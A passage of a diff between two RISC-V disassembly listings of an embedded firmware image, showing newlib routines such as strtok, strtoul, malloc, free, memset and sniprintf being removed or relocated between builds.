+2040245e:	933a                	add	t1,t1,a4
+20402460:	95ba                	add	a1,a1,a4
+20402462:	00058383          	lb	t2,0(a1)
+20402466:	00730023          	sb	t2,0(t1)
+2040246a:	167d                	addi	a2,a2,-1
+2040246c:	9336                	add	t1,t1,a3
+2040246e:	95b6                	add	a1,a1,a3
+20402470:	fa6d                	bnez	a2,20402462 <memmove+0x14>
+20402472:	8082                	ret
 
-204034f8 <strtok>:
-204034f8:	1101                	addi	sp,sp,-32
-204034fa:	ca26                	sw	s1,20(sp)
-204034fc:	80c1a483          	lw	s1,-2036(gp) # 8000d87c <_impure_ptr>
-20403500:	4cbc                	lw	a5,88(s1)
-20403502:	cc22                	sw	s0,24(sp)
-20403504:	ce06                	sw	ra,28(sp)
-20403506:	842a                	mv	s0,a0
-20403508:	efb1                	bnez	a5,20403564 <strtok+0x6c>
-2040350a:	05000513          	li	a0,80
-2040350e:	c62e                	sw	a1,12(sp)
-20403510:	75e000ef          	jal	ra,20403c6e <malloc>
-20403514:	45b2                	lw	a1,12(sp)
-20403516:	cca8                	sw	a0,88(s1)
-20403518:	00052023          	sw	zero,0(a0)
-2040351c:	00052223          	sw	zero,4(a0)
-20403520:	00052423          	sw	zero,8(a0)
-20403524:	00052623          	sw	zero,12(a0)
-20403528:	00052823          	sw	zero,16(a0)
-2040352c:	00052a23          	sw	zero,20(a0)
-20403530:	00052c23          	sw	zero,24(a0)
-20403534:	02052423          	sw	zero,40(a0)
-20403538:	02052623          	sw	zero,44(a0)
-2040353c:	02052823          	sw	zero,48(a0)
-20403540:	02052a23          	sw	zero,52(a0)
-20403544:	02052c23          	sw	zero,56(a0)
-20403548:	02052e23          	sw	zero,60(a0)
-2040354c:	04052023          	sw	zero,64(a0)
-20403550:	04052223          	sw	zero,68(a0)
-20403554:	04052423          	sw	zero,72(a0)
-20403558:	04052623          	sw	zero,76(a0)
-2040355c:	00050e23          	sb	zero,28(a0)
-20403560:	02052223          	sw	zero,36(a0)
-20403564:	8522                	mv	a0,s0
-20403566:	4462                	lw	s0,24(sp)
-20403568:	4cb0                	lw	a2,88(s1)
-2040356a:	40f2                	lw	ra,28(sp)
-2040356c:	44d2                	lw	s1,20(sp)
-2040356e:	4685                	li	a3,1
-20403570:	6105                	addi	sp,sp,32
-20403572:	a009                	j	20403574 <__strtok_r>
+20402474 <memset>:
+20402474:	832a                	mv	t1,a0
+20402476:	c611                	beqz	a2,20402482 <memset+0xe>
+20402478:	00b30023          	sb	a1,0(t1)
+2040247c:	167d                	addi	a2,a2,-1
+2040247e:	0305                	addi	t1,t1,1
+20402480:	fe65                	bnez	a2,20402478 <memset+0x4>
+20402482:	8082                	ret
 
-20403574 <__strtok_r>:
-20403574:	e119                	bnez	a0,2040357a <__strtok_r+0x6>
-20403576:	4208                	lw	a0,0(a2)
-20403578:	c939                	beqz	a0,204035ce <__strtok_r+0x5a>
-2040357a:	87aa                	mv	a5,a0
-2040357c:	853e                	mv	a0,a5
-2040357e:	0007c803          	lbu	a6,0(a5)
-20403582:	0785                	addi	a5,a5,1
-20403584:	872e                	mv	a4,a1
-20403586:	00074883          	lbu	a7,0(a4)
-2040358a:	0705                	addi	a4,a4,1
-2040358c:	00089863          	bnez	a7,2040359c <__strtok_r+0x28>
-20403590:	02081063          	bnez	a6,204035b0 <__strtok_r+0x3c>
-20403594:	00062023          	sw	zero,0(a2)
-20403598:	4501                	li	a0,0
-2040359a:	8082                	ret
-2040359c:	ff1815e3          	bne	a6,a7,20403586 <__strtok_r+0x12>
-204035a0:	fef1                	bnez	a3,2040357c <__strtok_r+0x8>
-204035a2:	c21c                	sw	a5,0(a2)
-204035a4:	00050023          	sb	zero,0(a0)
-204035a8:	8082                	ret
-204035aa:	4781                	li	a5,0
-204035ac:	a839                	j	204035ca <__strtok_r+0x56>
-204035ae:	e689                	bnez	a3,204035b8 <__strtok_r+0x44>
-204035b0:	0007c803          	lbu	a6,0(a5)
-204035b4:	0785                	addi	a5,a5,1
-204035b6:	872e                	mv	a4,a1
-204035b8:	00074683          	lbu	a3,0(a4)
-204035bc:	0705                	addi	a4,a4,1
-204035be:	fed818e3          	bne	a6,a3,204035ae <__strtok_r+0x3a>
-204035c2:	fe0804e3          	beqz	a6,204035aa <__strtok_r+0x36>
-204035c6:	fe078fa3          	sb	zero,-1(a5)
-204035ca:	c21c                	sw	a5,0(a2)
-204035cc:	8082                	ret
-204035ce:	8082                	ret
+20402484 <_free_r>:
+20402484:	cdd1                	beqz	a1,20402520 <_free_r+0x9c>
+20402486:	ffc5a783          	lw	a5,-4(a1)
+2040248a:	1101                	addi	sp,sp,-32
+2040248c:	cc22                	sw	s0,24(sp)
+2040248e:	ce06                	sw	ra,28(sp)
+20402490:	ffc58413          	addi	s0,a1,-4
+20402494:	0007d363          	bgez	a5,2040249a <_free_r+0x16>
+20402498:	943e                	add	s0,s0,a5
+2040249a:	c62a                	sw	a0,12(sp)
+2040249c:	2d59                	jal	20402b32 <__malloc_lock>
+2040249e:	81818713          	addi	a4,gp,-2024 # 8000d878 <__malloc_free_list>
+204024a2:	431c                	lw	a5,0(a4)
+204024a4:	4532                	lw	a0,12(sp)
+204024a6:	eb81                	bnez	a5,204024b6 <_free_r+0x32>
+204024a8:	00042223          	sw	zero,4(s0)
+204024ac:	c300                	sw	s0,0(a4)
+204024ae:	4462                	lw	s0,24(sp)
+204024b0:	40f2                	lw	ra,28(sp)
+204024b2:	6105                	addi	sp,sp,32
+204024b4:	a541                	j	20402b34 <__malloc_unlock>
+204024b6:	00f47d63          	bgeu	s0,a5,204024d0 <_free_r+0x4c>
+204024ba:	4010                	lw	a2,0(s0)
+204024bc:	00c406b3          	add	a3,s0,a2
+204024c0:	00d79663          	bne	a5,a3,204024cc <_free_r+0x48>
+204024c4:	4394                	lw	a3,0(a5)
+204024c6:	43dc                	lw	a5,4(a5)
+204024c8:	96b2                	add	a3,a3,a2
+204024ca:	c014                	sw	a3,0(s0)
+204024cc:	c05c                	sw	a5,4(s0)
+204024ce:	bff9                	j	204024ac <_free_r+0x28>
+204024d0:	873e                	mv	a4,a5
+204024d2:	43dc                	lw	a5,4(a5)
+204024d4:	c399                	beqz	a5,204024da <_free_r+0x56>
+204024d6:	fef47de3          	bgeu	s0,a5,204024d0 <_free_r+0x4c>
+204024da:	4314                	lw	a3,0(a4)
+204024dc:	00d70633          	add	a2,a4,a3
+204024e0:	00861f63          	bne	a2,s0,204024fe <_free_r+0x7a>
+204024e4:	4010                	lw	a2,0(s0)
+204024e6:	96b2                	add	a3,a3,a2
+204024e8:	c314                	sw	a3,0(a4)
+204024ea:	00d70633          	add	a2,a4,a3
+204024ee:	fcc790e3          	bne	a5,a2,204024ae <_free_r+0x2a>
+204024f2:	4390                	lw	a2,0(a5)
+204024f4:	43dc                	lw	a5,4(a5)
+204024f6:	96b2                	add	a3,a3,a2
+204024f8:	c314                	sw	a3,0(a4)
+204024fa:	c35c                	sw	a5,4(a4)
+204024fc:	bf4d                	j	204024ae <_free_r+0x2a>
+204024fe:	00c47563          	bgeu	s0,a2,20402508 <_free_r+0x84>
+20402502:	47b1                	li	a5,12
+20402504:	c11c                	sw	a5,0(a0)
+20402506:	b765                	j	204024ae <_free_r+0x2a>
+20402508:	4010                	lw	a2,0(s0)
+2040250a:	00c406b3          	add	a3,s0,a2
+2040250e:	00d79663          	bne	a5,a3,2040251a <_free_r+0x96>
+20402512:	4394                	lw	a3,0(a5)
+20402514:	43dc                	lw	a5,4(a5)
+20402516:	96b2                	add	a3,a3,a2
+20402518:	c014                	sw	a3,0(s0)
+2040251a:	c05c                	sw	a5,4(s0)
+2040251c:	c340                	sw	s0,4(a4)
+2040251e:	bf41                	j	204024ae <_free_r+0x2a>
+20402520:	8082                	ret
 
-204035d0 <_strtoull_l.constprop.0>:
-204035d0:	7179                	addi	sp,sp,-48
-204035d2:	d226                	sw	s1,36(sp)
-204035d4:	d04a                	sw	s2,32(sp)
-204035d6:	ca56                	sw	s5,20(sp)
-204035d8:	c85a                	sw	s6,16(sp)
-204035da:	c65e                	sw	s7,12(sp)
-204035dc:	8936                	mv	s2,a3
-204035de:	d606                	sw	ra,44(sp)
-204035e0:	d422                	sw	s0,40(sp)
-204035e2:	ce4e                	sw	s3,28(sp)
-204035e4:	cc52                	sw	s4,24(sp)
-204035e6:	c462                	sw	s8,8(sp)
-204035e8:	c266                	sw	s9,4(sp)
-204035ea:	8baa                	mv	s7,a0
-204035ec:	8aae                	mv	s5,a1
-204035ee:	8b32                	mv	s6,a2
-204035f0:	84ae                	mv	s1,a1
-204035f2:	00002697          	auipc	a3,0x2
-204035f6:	7f768693          	addi	a3,a3,2039 # 20405de9 <_ctype_+0x1>
-204035fa:	8726                	mv	a4,s1
-204035fc:	0004c403          	lbu	s0,0(s1)
-20403600:	0485                	addi	s1,s1,1
-20403602:	00d407b3          	add	a5,s0,a3
-20403606:	0007c783          	lbu	a5,0(a5)
-2040360a:	8ba1                	andi	a5,a5,8
-2040360c:	f7fd                	bnez	a5,204035fa <_strtoull_l.constprop.0+0x2a>
-2040360e:	02d00793          	li	a5,45
-20403612:	0cf41163          	bne	s0,a5,204036d4 <_strtoull_l.constprop.0+0x104>
-20403616:	0004c403          	lbu	s0,0(s1)
-2040361a:	4c05                	li	s8,1
-2040361c:	00270493          	addi	s1,a4,2
-20403620:	14090263          	beqz	s2,20403764 <_strtoull_l.constprop.0+0x194>
-20403624:	47c1                	li	a5,16
-20403626:	02f91263          	bne	s2,a5,2040364a <_strtoull_l.constprop.0+0x7a>
-2040362a:	03000793          	li	a5,48
-2040362e:	00f41e63          	bne	s0,a5,2040364a <_strtoull_l.constprop.0+0x7a>
-20403632:	0004c783          	lbu	a5,0(s1)
-20403636:	05800713          	li	a4,88
-2040363a:	0df7f793          	andi	a5,a5,223
-2040363e:	10e79d63          	bne	a5,a4,20403758 <_strtoull_l.constprop.0+0x188>
-20403642:	0014c403          	lbu	s0,1(s1)
-20403646:	4941                	li	s2,16
-20403648:	0489                	addi	s1,s1,2
-2040364a:	41f95c93          	srai	s9,s2,0x1f
-2040364e:	864a                	mv	a2,s2
-20403650:	86e6                	mv	a3,s9
-20403652:	557d                	li	a0,-1
-20403654:	55fd                	li	a1,-1
-20403656:	de8ff0ef          	jal	ra,20402c3e <__udivdi3>
-2040365a:	86e6                	mv	a3,s9
-2040365c:	8a2a                	mv	s4,a0
-2040365e:	89ae                	mv	s3,a1
-20403660:	864a                	mv	a2,s2
-20403662:	557d                	li	a0,-1
-20403664:	55fd                	li	a1,-1
-20403666:	071010ef          	jal	ra,20404ed6 <__umoddi3>
-2040366a:	86aa                	mv	a3,a0
-2040366c:	4701                	li	a4,0
-2040366e:	4501                	li	a0,0
-20403670:	4581                	li	a1,0
-20403672:	48a5                	li	a7,9
-20403674:	4865                	li	a6,25
-20403676:	fd040793          	addi	a5,s0,-48
-2040367a:	06f8e763          	bltu	a7,a5,204036e8 <_strtoull_l.constprop.0+0x118>
-2040367e:	843e                	mv	s0,a5
-20403680:	09245463          	bge	s0,s2,20403708 <_strtoull_l.constprop.0+0x138>
-20403684:	08074063          	bltz	a4,20403704 <_strtoull_l.constprop.0+0x134>
-20403688:	06b9ee63          	bltu	s3,a1,20403704 <_strtoull_l.constprop.0+0x134>
-2040368c:	01359463          	bne	a1,s3,20403694 <_strtoull_l.constprop.0+0xc4>
-20403690:	06aa6a63          	bltu	s4,a0,20403704 <_strtoull_l.constprop.0+0x134>
-20403694:	00aa1763          	bne	s4,a0,204036a2 <_strtoull_l.constprop.0+0xd2>
-20403698:	00b99563          	bne	s3,a1,204036a2 <_strtoull_l.constprop.0+0xd2>
-2040369c:	577d                	li	a4,-1
-2040369e:	0286c763          	blt	a3,s0,204036cc <_strtoull_l.constprop.0+0xfc>
-204036a2:	02ac8733          	mul	a4,s9,a0
-204036a6:	032587b3          	mul	a5,a1,s2
-204036aa:	02a90633          	mul	a2,s2,a0
-204036ae:	00f705b3          	add	a1,a4,a5
-204036b2:	4705                	li	a4,1
-204036b4:	02a937b3          	mulhu	a5,s2,a0
-204036b8:	00c40533          	add	a0,s0,a2
-204036bc:	95be                	add	a1,a1,a5
-204036be:	41f45793          	srai	a5,s0,0x1f
-204036c2:	97ae                	add	a5,a5,a1
-204036c4:	00853433          	sltu	s0,a0,s0
-204036c8:	00f405b3          	add	a1,s0,a5
-204036cc:	0485                	addi	s1,s1,1
-204036ce:	fff4c403          	lbu	s0,-1(s1)
-204036d2:	b755                	j	20403676 <_strtoull_l.constprop.0+0xa6>
-204036d4:	02b00793          	li	a5,43
-204036d8:	4c01                	li	s8,0
-204036da:	f4f413e3          	bne	s0,a5,20403620 <_strtoull_l.constprop.0+0x50>
-204036de:	0004c403          	lbu	s0,0(s1)
-204036e2:	00270493          	addi	s1,a4,2
-204036e6:	bf2d                	j	20403620 <_strtoull_l.constprop.0+0x50>
-204036e8:	fbf40793          	addi	a5,s0,-65
-204036ec:	00f86563          	bltu	a6,a5,204036f6 <_strtoull_l.constprop.0+0x126>
-204036f0:	fc940413          	addi	s0,s0,-55
-204036f4:	b771                	j	20403680 <_strtoull_l.constprop.0+0xb0>
-204036f6:	f9f40793          	addi	a5,s0,-97
-204036fa:	00f86763          	bltu	a6,a5,20403708 <_strtoull_l.constprop.0+0x138>
-204036fe:	fa940413          	addi	s0,s0,-87
-20403702:	bfbd                	j	20403680 <_strtoull_l.constprop.0+0xb0>
-20403704:	577d                	li	a4,-1
-20403706:	b7d9                	j	204036cc <_strtoull_l.constprop.0+0xfc>
-20403708:	02075763          	bgez	a4,20403736 <_strtoull_l.constprop.0+0x166>
-2040370c:	02200793          	li	a5,34
-20403710:	00fba023          	sw	a5,0(s7)
-20403714:	557d                	li	a0,-1
-20403716:	55fd                	li	a1,-1
-20403718:	020b1b63          	bnez	s6,2040374e <_strtoull_l.constprop.0+0x17e>
-2040371c:	50b2                	lw	ra,44(sp)
-2040371e:	5422                	lw	s0,40(sp)
-20403720:	5492                	lw	s1,36(sp)
-20403722:	5902                	lw	s2,32(sp)
-20403724:	49f2                	lw	s3,28(sp)
-20403726:	4a62                	lw	s4,24(sp)
-20403728:	4ad2                	lw	s5,20(sp)
-2040372a:	4b42                	lw	s6,16(sp)
-2040372c:	4bb2                	lw	s7,12(sp)
-2040372e:	4c22                	lw	s8,8(sp)
-20403730:	4c92                	lw	s9,4(sp)
-20403732:	6145                	addi	sp,sp,48
-20403734:	8082                	ret
-20403736:	000c0963          	beqz	s8,20403748 <_strtoull_l.constprop.0+0x178>
-2040373a:	00a037b3          	snez	a5,a0
-2040373e:	40b005b3          	neg	a1,a1
-20403742:	8d9d                	sub	a1,a1,a5
-20403744:	40a00533          	neg	a0,a0
-20403748:	fc0b0ae3          	beqz	s6,2040371c <_strtoull_l.constprop.0+0x14c>
-2040374c:	c319                	beqz	a4,20403752 <_strtoull_l.constprop.0+0x182>
-2040374e:	fff48a93          	addi	s5,s1,-1
-20403752:	015b2023          	sw	s5,0(s6)
-20403756:	b7d9                	j	2040371c <_strtoull_l.constprop.0+0x14c>
-20403758:	03000413          	li	s0,48
-2040375c:	ee0917e3          	bnez	s2,2040364a <_strtoull_l.constprop.0+0x7a>
-20403760:	4921                	li	s2,8
-20403762:	b5e5                	j	2040364a <_strtoull_l.constprop.0+0x7a>
-20403764:	03000793          	li	a5,48
-20403768:	ecf405e3          	beq	s0,a5,20403632 <_strtoull_l.constprop.0+0x62>
-2040376c:	4929                	li	s2,10
-2040376e:	bdf1                	j	2040364a <_strtoull_l.constprop.0+0x7a>
+20402522 <_malloc_r>:
+20402522:	1101                	addi	sp,sp,-32
+20402524:	ca26                	sw	s1,20(sp)
+20402526:	00358493          	addi	s1,a1,3
+2040252a:	98f1                	andi	s1,s1,-4
+2040252c:	c84a                	sw	s2,16(sp)
+2040252e:	ce06                	sw	ra,28(sp)
+20402530:	cc22                	sw	s0,24(sp)
+20402532:	c64e                	sw	s3,12(sp)
+20402534:	04a1                	addi	s1,s1,8
+20402536:	47b1                	li	a5,12
+20402538:	892a                	mv	s2,a0
+2040253a:	04f4f063          	bgeu	s1,a5,2040257a <_malloc_r+0x58>
+2040253e:	44b1                	li	s1,12
+20402540:	02b4ef63          	bltu	s1,a1,2040257e <_malloc_r+0x5c>
+20402544:	854a                	mv	a0,s2
+20402546:	23f5                	jal	20402b32 <__malloc_lock>
+20402548:	81818693          	addi	a3,gp,-2024 # 8000d878 <__malloc_free_list>
+2040254c:	4298                	lw	a4,0(a3)
+2040254e:	843a                	mv	s0,a4
+20402550:	e031                	bnez	s0,20402594 <_malloc_r+0x72>
+20402552:	81c18413          	addi	s0,gp,-2020 # 8000d87c <__malloc_sbrk_start>
+20402556:	401c                	lw	a5,0(s0)
+20402558:	e789                	bnez	a5,20402562 <_malloc_r+0x40>
+2040255a:	4581                	li	a1,0
+2040255c:	854a                	mv	a0,s2
+2040255e:	20f9                	jal	2040262c <_sbrk_r>
+20402560:	c008                	sw	a0,0(s0)
+20402562:	85a6                	mv	a1,s1
+20402564:	854a                	mv	a0,s2
+20402566:	20d9                	jal	2040262c <_sbrk_r>
+20402568:	59fd                	li	s3,-1
+2040256a:	07351863          	bne	a0,s3,204025da <_malloc_r+0xb8>
+2040256e:	47b1                	li	a5,12
+20402570:	00f92023          	sw	a5,0(s2)
+20402574:	854a                	mv	a0,s2
+20402576:	2b7d                	jal	20402b34 <__malloc_unlock>
+20402578:	a031                	j	20402584 <_malloc_r+0x62>
+2040257a:	fc04d3e3          	bgez	s1,20402540 <_malloc_r+0x1e>
+2040257e:	47b1                	li	a5,12
+20402580:	00f92023          	sw	a5,0(s2)
+20402584:	4501                	li	a0,0
+20402586:	40f2                	lw	ra,28(sp)
+20402588:	4462                	lw	s0,24(sp)
+2040258a:	44d2                	lw	s1,20(sp)
+2040258c:	4942                	lw	s2,16(sp)
+2040258e:	49b2                	lw	s3,12(sp)
+20402590:	6105                	addi	sp,sp,32
+20402592:	8082                	ret
+20402594:	401c                	lw	a5,0(s0)
+20402596:	8f85                	sub	a5,a5,s1
+20402598:	0207ce63          	bltz	a5,204025d4 <_malloc_r+0xb2>
+2040259c:	462d                	li	a2,11
+2040259e:	00f67663          	bgeu	a2,a5,204025aa <_malloc_r+0x88>
+204025a2:	c01c                	sw	a5,0(s0)
+204025a4:	943e                	add	s0,s0,a5
+204025a6:	c004                	sw	s1,0(s0)
+204025a8:	a029                	j	204025b2 <_malloc_r+0x90>
+204025aa:	405c                	lw	a5,4(s0)
+204025ac:	02871263          	bne	a4,s0,204025d0 <_malloc_r+0xae>
+204025b0:	c29c                	sw	a5,0(a3)
+204025b2:	854a                	mv	a0,s2
+204025b4:	2341                	jal	20402b34 <__malloc_unlock>
+204025b6:	00b40513          	addi	a0,s0,11
+204025ba:	00440793          	addi	a5,s0,4
+204025be:	9961                	andi	a0,a0,-8
+204025c0:	40f50733          	sub	a4,a0,a5
+204025c4:	fcf501e3          	beq	a0,a5,20402586 <_malloc_r+0x64>
+204025c8:	943a                	add	s0,s0,a4
+204025ca:	8f89                	sub	a5,a5,a0
+204025cc:	c01c                	sw	a5,0(s0)
+204025ce:	bf65                	j	20402586 <_malloc_r+0x64>
+204025d0:	c35c                	sw	a5,4(a4)
+204025d2:	b7c5                	j	204025b2 <_malloc_r+0x90>
+204025d4:	8722                	mv	a4,s0
+204025d6:	4040                	lw	s0,4(s0)
+204025d8:	bfa5                	j	20402550 <_malloc_r+0x2e>
+204025da:	00350413          	addi	s0,a0,3
+204025de:	9871                	andi	s0,s0,-4
+204025e0:	fc8503e3          	beq	a0,s0,204025a6 <_malloc_r+0x84>
+204025e4:	40a405b3          	sub	a1,s0,a0
+204025e8:	854a                	mv	a0,s2
+204025ea:	2089                	jal	2040262c <_sbrk_r>
+204025ec:	fb351de3          	bne	a0,s3,204025a6 <_malloc_r+0x84>
+204025f0:	bfbd                	j	2040256e <_malloc_r+0x4c>
 
-20403770 <strtoull>:
-20403770:	86b2                	mv	a3,a2
-20403772:	862e                	mv	a2,a1
-20403774:	85aa                	mv	a1,a0
-20403776:	80c1a503          	lw	a0,-2036(gp) # 8000d87c <_impure_ptr>
-2040377a:	bd99                	j	204035d0 <_strtoull_l.constprop.0>
+204025f2 <iprintf>:
+204025f2:	715d                	addi	sp,sp,-80
+204025f4:	d422                	sw	s0,40(sp)
+204025f6:	d606                	sw	ra,44(sp)
+204025f8:	842a                	mv	s0,a0
+204025fa:	da2e                	sw	a1,52(sp)
+204025fc:	dc32                	sw	a2,56(sp)
+204025fe:	de36                	sw	a3,60(sp)
+20402600:	c0ba                	sw	a4,64(sp)
+20402602:	c2be                	sw	a5,68(sp)
+20402604:	c4c2                	sw	a6,72(sp)
+20402606:	c6c6                	sw	a7,76(sp)
+20402608:	8141a503          	lw	a0,-2028(gp) # 8000d874 <_impure_ptr>
+2040260c:	c511                	beqz	a0,20402618 <iprintf+0x26>
+2040260e:	4d1c                	lw	a5,24(a0)
+20402610:	e781                	bnez	a5,20402618 <iprintf+0x26>
+20402612:	c62a                	sw	a0,12(sp)
+20402614:	2675                	jal	204029c0 <__sinit>
+20402616:	4532                	lw	a0,12(sp)
+20402618:	450c                	lw	a1,8(a0)
+2040261a:	1854                	addi	a3,sp,52
+2040261c:	8622                	mv	a2,s0
+2040261e:	ce36                	sw	a3,28(sp)
+20402620:	463000ef          	jal	ra,20403282 <_vfiprintf_r>
+20402624:	50b2                	lw	ra,44(sp)
+20402626:	5422                	lw	s0,40(sp)
+20402628:	6161                	addi	sp,sp,80
+2040262a:	8082                	ret
 
-2040377c <_strtoul_l.constprop.0>:
-2040377c:	8e2a                	mv	t3,a0
-2040377e:	872e                	mv	a4,a1
-20403780:	00002897          	auipc	a7,0x2
-20403784:	66988893          	addi	a7,a7,1641 # 20405de9 <_ctype_+0x1>
-20403788:	883a                	mv	a6,a4
-2040378a:	00074783          	lbu	a5,0(a4)
-2040378e:	0705                	addi	a4,a4,1
-20403790:	01178533          	add	a0,a5,a7
-20403794:	00054503          	lbu	a0,0(a0)
-20403798:	8921                	andi	a0,a0,8
-2040379a:	f57d                	bnez	a0,20403788 <_strtoul_l.constprop.0+0xc>
-2040379c:	02d00513          	li	a0,45
-204037a0:	06a79c63          	bne	a5,a0,20403818 <_strtoul_l.constprop.0+0x9c>
-204037a4:	00074783          	lbu	a5,0(a4)
-204037a8:	4e85                	li	t4,1
-204037aa:	00280713          	addi	a4,a6,2
-204037ae:	cae1                	beqz	a3,2040387e <_strtoul_l.constprop.0+0x102>
-204037b0:	4541                	li	a0,16
-204037b2:	02a69263          	bne	a3,a0,204037d6 <_strtoul_l.constprop.0+0x5a>
-204037b6:	03000513          	li	a0,48
-204037ba:	00a79e63          	bne	a5,a0,204037d6 <_strtoul_l.constprop.0+0x5a>
-204037be:	00074783          	lbu	a5,0(a4)
-204037c2:	05800513          	li	a0,88
-204037c6:	0df7f793          	andi	a5,a5,223
-204037ca:	0aa79563          	bne	a5,a0,20403874 <_strtoul_l.constprop.0+0xf8>
-204037ce:	00174783          	lbu	a5,1(a4)
-204037d2:	46c1                	li	a3,16
-204037d4:	0709                	addi	a4,a4,2
-204037d6:	587d                	li	a6,-1
-204037d8:	02d85f33          	divu	t5,a6,a3
-204037dc:	4881                	li	a7,0
-204037de:	4501                	li	a0,0
-204037e0:	42a5                	li	t0,9
-204037e2:	4fe5                	li	t6,25
-204037e4:	02d87333          	remu	t1,a6,a3
-204037e8:	fd078813          	addi	a6,a5,-48
-204037ec:	0502e063          	bltu	t0,a6,2040382c <_strtoul_l.constprop.0+0xb0>
-204037f0:	87c2                	mv	a5,a6
-204037f2:	04d7dd63          	bge	a5,a3,2040384c <_strtoul_l.constprop.0+0xd0>
-204037f6:	0408c963          	bltz	a7,20403848 <_strtoul_l.constprop.0+0xcc>
-204037fa:	58fd                	li	a7,-1
-204037fc:	00af6a63          	bltu	t5,a0,20403810 <_strtoul_l.constprop.0+0x94>
-20403800:	00af1463          	bne	t5,a0,20403808 <_strtoul_l.constprop.0+0x8c>
-20403804:	00f34663          	blt	t1,a5,20403810 <_strtoul_l.constprop.0+0x94>
-20403808:	4885                	li	a7,1
-2040380a:	02a68533          	mul	a0,a3,a0
-2040380e:	953e                	add	a0,a0,a5
-20403810:	0705                	addi	a4,a4,1
-20403812:	fff74783          	lbu	a5,-1(a4)
-20403816:	bfc9                	j	204037e8 <_strtoul_l.constprop.0+0x6c>
-20403818:	02b00513          	li	a0,43
-2040381c:	4e81                	li	t4,0
-2040381e:	f8a798e3          	bne	a5,a0,204037ae <_strtoul_l.constprop.0+0x32>
-20403822:	00074783          	lbu	a5,0(a4)
-20403826:	00280713          	addi	a4,a6,2
-2040382a:	b751                	j	204037ae <_strtoul_l.constprop.0+0x32>
-2040382c:	fbf78813          	addi	a6,a5,-65
-20403830:	010fe563          	bltu	t6,a6,2040383a <_strtoul_l.constprop.0+0xbe>
-20403834:	fc978793          	addi	a5,a5,-55
-20403838:	bf6d                	j	204037f2 <_strtoul_l.constprop.0+0x76>
-2040383a:	f9f78813          	addi	a6,a5,-97
-2040383e:	010fe763          	bltu	t6,a6,2040384c <_strtoul_l.constprop.0+0xd0>
-20403842:	fa978793          	addi	a5,a5,-87
-20403846:	b775                	j	204037f2 <_strtoul_l.constprop.0+0x76>
-20403848:	58fd                	li	a7,-1
-2040384a:	b7d9                	j	20403810 <_strtoul_l.constprop.0+0x94>
-2040384c:	0008d963          	bgez	a7,2040385e <_strtoul_l.constprop.0+0xe2>
-20403850:	02200793          	li	a5,34
-20403854:	00fe2023          	sw	a5,0(t3)
-20403858:	557d                	li	a0,-1
-2040385a:	ea09                	bnez	a2,2040386c <_strtoul_l.constprop.0+0xf0>
-2040385c:	8082                	ret
-2040385e:	000e8463          	beqz	t4,20403866 <_strtoul_l.constprop.0+0xea>
-20403862:	40a00533          	neg	a0,a0
-20403866:	c215                	beqz	a2,2040388a <_strtoul_l.constprop.0+0x10e>
-20403868:	00088463          	beqz	a7,20403870 <_strtoul_l.constprop.0+0xf4>
-2040386c:	fff70593          	addi	a1,a4,-1
-20403870:	c20c                	sw	a1,0(a2)
-20403872:	8082                	ret
-20403874:	03000793          	li	a5,48
-20403878:	feb9                	bnez	a3,204037d6 <_strtoul_l.constprop.0+0x5a>
-2040387a:	46a1                	li	a3,8
-2040387c:	bfa9                	j	204037d6 <_strtoul_l.constprop.0+0x5a>
-2040387e:	03000513          	li	a0,48
-20403882:	f2a78ee3          	beq	a5,a0,204037be <_strtoul_l.constprop.0+0x42>
-20403886:	46a9                	li	a3,10
-20403888:	b7b9                	j	204037d6 <_strtoul_l.constprop.0+0x5a>
-2040388a:	8082                	ret
+2040262c <_sbrk_r>:
+2040262c:	1141                	addi	sp,sp,-16
+2040262e:	c422                	sw	s0,8(sp)
+20402630:	842a                	mv	s0,a0
+20402632:	852e                	mv	a0,a1
+20402634:	8201a223          	sw	zero,-2012(gp) # 8000d884 <errno>
+20402638:	c606                	sw	ra,12(sp)
+2040263a:	31ad                	jal	204022a4 <_sbrk>
+2040263c:	57fd                	li	a5,-1
+2040263e:	00f51663          	bne	a0,a5,2040264a <_sbrk_r+0x1e>
+20402642:	8241a783          	lw	a5,-2012(gp) # 8000d884 <errno>
+20402646:	c391                	beqz	a5,2040264a <_sbrk_r+0x1e>
+20402648:	c01c                	sw	a5,0(s0)
+2040264a:	40b2                	lw	ra,12(sp)
+2040264c:	4422                	lw	s0,8(sp)
+2040264e:	0141                	addi	sp,sp,16
+20402650:	8082                	ret
 
-2040388c <strtoul>:
-2040388c:	86b2                	mv	a3,a2
-2040388e:	862e                	mv	a2,a1
-20403890:	85aa                	mv	a1,a0
-20403892:	80c1a503          	lw	a0,-2036(gp) # 8000d87c <_impure_ptr>
-20403896:	b5dd                	j	2040377c <_strtoul_l.constprop.0>
+20402652 <sniprintf>:
+20402652:	7135                	addi	sp,sp,-160
+20402654:	daa6                	sw	s1,116(sp)
+20402656:	de86                	sw	ra,124(sp)
+20402658:	dca2                	sw	s0,120(sp)
+2040265a:	d8ca                	sw	s2,112(sp)
+2040265c:	c736                	sw	a3,140(sp)
+2040265e:	c93a                	sw	a4,144(sp)
+20402660:	cb3e                	sw	a5,148(sp)
+20402662:	cd42                	sw	a6,152(sp)
+20402664:	cf46                	sw	a7,156(sp)
+20402666:	8141a483          	lw	s1,-2028(gp) # 8000d874 <_impure_ptr>
+2040266a:	0005dc63          	bgez	a1,20402682 <sniprintf+0x30>
+2040266e:	08b00793          	li	a5,139
+20402672:	c09c                	sw	a5,0(s1)
+20402674:	557d                	li	a0,-1
+20402676:	50f6                	lw	ra,124(sp)
+20402678:	5466                	lw	s0,120(sp)
+2040267a:	54d6                	lw	s1,116(sp)
+2040267c:	5946                	lw	s2,112(sp)
+2040267e:	610d                	addi	sp,sp,160
+20402680:	8082                	ret
+20402682:	20800793          	li	a5,520
+20402686:	00f11a23          	sh	a5,20(sp)
+2040268a:	c42a                	sw	a0,8(sp)
+2040268c:	cc2a                	sw	a0,24(sp)
+2040268e:	842e                	mv	s0,a1
+20402690:	4781                	li	a5,0
+20402692:	c199                	beqz	a1,20402698 <sniprintf+0x46>
+20402694:	fff58793          	addi	a5,a1,-1
+20402698:	597d                	li	s2,-1
+2040269a:	0174                	addi	a3,sp,140
+2040269c:	002c                	addi	a1,sp,8
+2040269e:	8526                	mv	a0,s1
+204026a0:	c83e                	sw	a5,16(sp)
+204026a2:	ce3e                	sw	a5,28(sp)
+204026a4:	01211b23          	sh	s2,22(sp)
+204026a8:	c236                	sw	a3,4(sp)
+204026aa:	2ba5                	jal	20402c22 <_svfiprintf_r>
+204026ac:	01255563          	bge	a0,s2,204026b6 <sniprintf+0x64>
+204026b0:	08b00793          	li	a5,139
